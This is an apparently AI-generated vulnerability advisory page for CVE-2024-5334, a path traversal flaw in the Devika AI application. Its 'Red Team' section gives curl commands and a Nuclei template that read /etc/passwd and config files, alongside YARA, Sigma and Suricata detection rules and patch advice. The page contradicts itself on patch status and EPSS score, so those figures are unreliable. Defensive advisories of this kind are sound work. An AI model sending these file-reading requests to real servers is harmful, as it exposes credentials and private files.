☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]

CVE-2024-5334

CVE-2024-5334 is a high-severity Local File Inclusion (LFI) vulnerability in the Stitionai Devika AI application.
📅 PUBLISHED: 2024-06-27 17:33 UTC 🔄 UPDATED: 2026-10-02 19:31 UTC
[ OFFICIAL PATCH DEPLOYED ↓ ] FIX: LIKELY — 2 independent sources confirm fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 2.07%
👁️
2.07% probability
51.8× above the median CVE
Tier: HIGH
30-day exploitation window · FIRST.org · updated daily
License: Open Source
Patch available — upgrade to latest release
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
7.5
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-5334 is a high-severity Local File Inclusion (LFI) vulnerability in the Stitionai Devika AI application. The flaw resides in the /api/get-browser-snapshot endpoint, where the snapshot_path parameter is not properly sanitized. An unauthenticated attacker can exploit this by sending a crafted request with a path traversal sequence (e.g., ../../etc/passwd) to read arbitrary files from the server filesystem. The vulnerability has a CVSS score of 7.5 and a public proof-of-concept (PoC) via a Nuclei template. No official patch has been released, though a commit referencing a fix exists. This poses a significant risk of sensitive data exposure, including credentials, configuration files, and application source code.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability is not directly related to a package manager (NPM, PyPI, Go, Ruby) but affects the Devika AI application, which is a Python-based project. Users should verify the integrity of their Devika installation and monitor for any malicious modifications to the codebase that could exploit this flaw.

CVSS Breakdown & Threat Level

  • CVSS Vector: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
  • Base Score: 7.5 (High)
  • Attack Vector: Network (AV:N) – The vulnerability can be exploited remotely.
  • Attack Complexity: Low (AC:L) – No special conditions are required.
  • Privileges Required: None (PR:N) – No authentication is needed.
  • User Interaction: None (UI:N) – The victim does not need to perform any action.
  • Scope: Unchanged (S:U) – The vulnerable component and the impacted component are the same.
  • Confidentiality Impact: High (C:H) – Sensitive files can be read.
  • Integrity Impact: None (I:N) – No data modification is possible.
  • Availability Impact: None (A:N) – No denial of service.

Threat Level: High. The ease of exploitation and the potential for sensitive data exposure make this a critical risk for any exposed Devika instance.

Deep Dive & Mechanics

The vulnerability is a classic Local File Inclusion (LFI) caused by insufficient input validation. The /api/get-browser-snapshot endpoint is designed to retrieve a browser snapshot file based on a user-supplied path. The application fails to restrict the snapshot_path parameter to a specific directory, allowing an attacker to use path traversal sequences (e.g., ../) to navigate outside the intended directory.

Attack Flow:

  1. The attacker sends a GET request to /api/get-browser-snapshot?snapshot_path=/etc/passwd.
  2. The server processes the request without sanitizing the path.
  3. The server reads the file at the specified path and returns its contents in the HTTP response.
  4. The attacker receives the contents of /etc/passwd, confirming the vulnerability.

The Nuclei template confirms this behavior by matching the response body for the root:.*:0:0: pattern and the response headers for attachment; filename=passwd and application/octet-stream.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

@app.route('/api/get-browser-snapshot')
def get_browser_snapshot():
    snapshot_path = request.args.get('snapshot_path')
    # No validation or sanitization
    with open(snapshot_path, 'rb') as f:
        data = f.read()
    return Response(data, mimetype='application/octet-stream', headers={'Content-Disposition': f'attachment; filename={os.path.basename(snapshot_path)}'})

Patched Code (Conceptual):

import os

ALLOWED_DIR = '/path/to/snapshots'

@app.route('/api/get-browser-snapshot')
def get_browser_snapshot():
    snapshot_path = request.args.get('snapshot_path')
    # Sanitize and validate the path
    safe_path = os.path.normpath(os.path.join(ALLOWED_DIR, snapshot_path))
    if not safe_path.startswith(ALLOWED_DIR):
        return "Invalid path", 400
    if not os.path.isfile(safe_path):
        return "File not found", 404
    with open(safe_path, 'rb') as f:
        data = f.read()
    return Response(data, mimetype='application/octet-stream', headers={'Content-Disposition': f'attachment; filename={os.path.basename(safe_path)}'})

The patched code uses os.path.normpath and os.path.join to resolve the path and then checks that it starts with the allowed directory. This prevents path traversal attacks.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

  • A running instance of Devika AI (e.g., on http://target:5000).
  • No authentication required.

Exploitation Steps:

  1. Basic LFI: Use curl or a browser to request a sensitive file.

    curl "http://target:5000/api/get-browser-snapshot?snapshot_path=/etc/passwd"
    

    Expected response: The contents of /etc/passwd with headers Content-Disposition: attachment; filename=passwd and Content-Type: application/octet-stream.

  2. Reading Application Files: Attempt to read configuration files.

    curl "http://target:5000/api/get-browser-snapshot?snapshot_path=../config.py"
    
  3. Automated Scanning: Use the provided Nuclei template.

    nuclei -t CVE-2024-5334.yaml -u http://target:5000
    

No Exploit-DB code was provided.

Blue Team (Defensive)

Detection:

  • Monitor web server logs for requests to /api/get-browser-snapshot with suspicious snapshot_path parameters (e.g., containing ../, /etc/, /proc/).
  • Use the Sigma rule provided in the Detection Engineering section.

Hunting:

  • Search for any outbound connections from the Devika server to unknown IPs (data exfiltration).
  • Check for unexpected files being accessed on the filesystem.

Containment:

  • Immediately isolate the affected server.
  • Block the /api/get-browser-snapshot endpoint at the WAF or reverse proxy level.
  • Review access logs to determine if any sensitive files were accessed.

Indicators of Compromise (IOCs)

  • Network IOCs:

    • HTTP GET requests to /api/get-browser-snapshot?snapshot_path=<path> where <path> contains path traversal sequences or references to sensitive files (e.g., /etc/passwd, /proc/self/environ).
    • Response headers: Content-Disposition: attachment; filename=<filename> and Content-Type: application/octet-stream for files not normally served as downloads.
  • File System IOCs:

    • Unexpected access to files outside the intended snapshot directory (e.g., /etc/shadow, /var/log/auth.log).
  • Log IOCs:

    • Web server logs showing repeated requests to the vulnerable endpoint with varying snapshot_path values.

Detection Engineering

YARA Rule

rule CVE_2024_5334_Devika_LFI {
    meta:
        description = "Detects attempts to exploit CVE-2024-5334 in Devika AI"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-5334"
    strings:
        $s1 = "/api/get-browser-snapshot?snapshot_path="
        $s2 = "../"
        $s3 = "/etc/"
        $s4 = "/proc/"
        $s5 = "/var/"
    condition:
        any of ($s*) and #s1 > 0
}

Sigma Rule

title: CVE-2024-5334 Devika AI Local File Inclusion Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP requests targeting the /api/get-browser-snapshot endpoint with path traversal or sensitive file paths.
author: Valters IT
date: 2024/01/01
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-5334
logsource:
    category: webserver
    product: apache
    service: httpd
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: '/api/get-browser-snapshot?snapshot_path='
    keywords:
        - '..'
        - '/etc/'
        - '/proc/'
        - '/var/'
        - '/root/'
    condition: selection and keywords
falsepositives:
    - Legitimate use of the snapshot feature with valid paths (rare)
level: high
tags:
    - attack.t1083
    - cve.2024.5334

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-5334 Devika AI Local File Inclusion Attempt"; flow:to_server,established; content:"GET"; http_method; content:"/api/get-browser-snapshot?snapshot_path="; http_uri; content:"../"; within:100; http_uri; content:"/etc/"; within:100; http_uri; sid:1000001; rev:1; reference:cve,2024-5334; priority:1;)

Nuclei Template (Provided)

id: CVE-2024-5334

info:
  name: Devika - Local File Inclusion
  author: nechyo,nukunga,harksu,olfloralo,gy741
  severity: high
  description: |
    A local file read vulnerability exists in the stitionai/devika repository, affecting the latest version. The vulnerability is due to improper handling of the 'snapshot_path' parameter in the '/api/get-browser-snapshot' endpoint. An attacker can exploit this vulnerability by crafting a request with a malicious 'snapshot_path' parameter, leading to arbitrary file read from the system. This issue impacts the security of the application by allowing unauthorized access to sensitive files on the server.
  impact: |
    Successful exploitation could lead to unauthorized access to sensitive files and data.
  remediation: |
    Ensure input validation is implemented to prevent malicious file inclusions and use whitelists for allowed file paths.
  reference:
    - https://huntr.com/bounties/7eec128b-1bf5-4922-a95c-551ad3695cf6
    - https://github.com/stitionai/devika/commit/6acce21fb08c3d1123ef05df6a33912bf0ee77c2
    - https://nvd.nist.gov/vuln/detail/CVE-2024-5334
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2024-5334
    cwe-id: CWE-73
    epss-score: 0.6275
    epss-percentile: 0.9839
  metadata:
    max-request: 1
    shodan-query: title:"Devika AI"
    fofa-query: title="Devika AI"
  tags: cve,cve2024,devika-ai,lfi,vkev,vuln

http:
  - raw:
      - |
        GET /api/get-browser-snapshot?snapshot_path=/etc/passwd HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

      - type: word
        part: header
        words:
          - "attachment; filename=passwd"
          - "application/octet-stream"
        condition: and

      - type: status
        status:
          - 200

Remediation & Mitigation

Immediate Actions:

  1. Apply the Patch: If available, apply the commit from the official repository (https://github.com/stitionai/devika/commit/6acce21fb08c3d1123ef05df6a33912bf0ee77c2). If not, manually implement input validation as shown in the patched code example.
  2. WAF Rule: Block requests to /api/get-browser-snapshot with snapshot_path containing ../, /etc/, /proc/, or other sensitive paths.
  3. Network Segmentation: Ensure the Devika server is not directly exposed to the internet. Place it behind a reverse proxy with strict access controls.

Long-Term Fixes:

  • Input Validation: Always validate and sanitize user-supplied file paths. Use a whitelist of allowed directories and filenames.
  • Least Privilege: Run the Devika application with minimal filesystem permissions. The application should only have read access to the necessary snapshot directory.
  • Regular Updates: Monitor for official patches and update the application promptly.

Valters IT Signature


This report was generated by Valters IT DevSecOps AI. For questions, contact Secure Channels (Signal / Portal).

{/* [Security Hash: 521226D3162AA5DEA7CBC9C4] */}

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-5334/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.